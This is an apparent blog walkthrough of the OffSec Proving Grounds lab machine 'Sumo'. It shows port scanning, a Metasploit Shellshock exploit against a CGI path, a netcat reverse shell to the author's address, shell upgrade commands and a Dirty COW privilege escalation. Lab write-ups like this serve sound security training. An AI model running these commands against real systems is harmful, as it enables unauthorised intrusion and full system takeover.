OffSec PG — Sumo Walkthrough

Antonio

3 min read

·

Oct 27, 2026

--

Listen

Share

Machine details

• Title: Sumo
• Author: SunCSR Team
• Difficulty: Easy
• Community Rating: Intermediate
• Flags: 2 (user and root)
• Techniques: Enumeration, CVE
• Operating System: Linux

Recon and Enum

Before using nmap, I started using rustscan just to find the open ports

rustscan -a 192.168.128.87

Now that we got the open ports, let’s use nmap to find ports and services

nmap -p22,80 -sV -sC -Pn <MACHINE IP>

Press enter or click to view image in full size

The index page in the web port looks like this

Press enter or click to view image in full size

So I did use gobuster to fuzz, but nothing like directory or file was found. Maybe nikto can find something

I will add this IP address to sumo.offsec, and then we will use nikto

echo '192.168.128.87 sumo.offsec' | sudo tee -a /etc/hosts

Using nikto we can get more info about the web server

nikto -h http://sumo.offsec/ -C all

Press enter or click to view image in full size

Nikto found a vulnerability named CVE 2014–6271: ‘Shellshock’, which is a Remote Command Injection, we can find the module on metasploit

$ msfconsole -q
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set LHOST  <YOUR tun0 IP>
set RHOST sumo.offsec
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set targeturi /cgi-bin/test
targeturi => /cgi-bin/test
run

Press enter or click to view image in full size

Now that we got a session. use shell to open a command prompt in the vulnerable machine, you can see that in the current directory we can get the user flag

Machine info

Press enter or click to view image in full size

I will connect this to my machine using netcat, my goal is to acheive a full interactive prompt (since this machine has no leaked credentials for ssh)

busybox nc 192.168.45.161 7777 -e /bin/bash

After I connected using nc, I will upgrade using those commands one by one

python -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm

Then I used Ctrl + Z and did this command

stty -echo raw; fg; reset xterm

Now I have a fully interactive shell! :D

Searching for kernel vulnerabilities, I found out this machine is vulnerable to a exploit named dirty cow(CVE-2016–5195). the code is on exploit-db

After you send to machine you can compile and run it, as you can see in my machine I got root privileges

Press enter or click to view image in full size

Finally, you can get the root flag! :D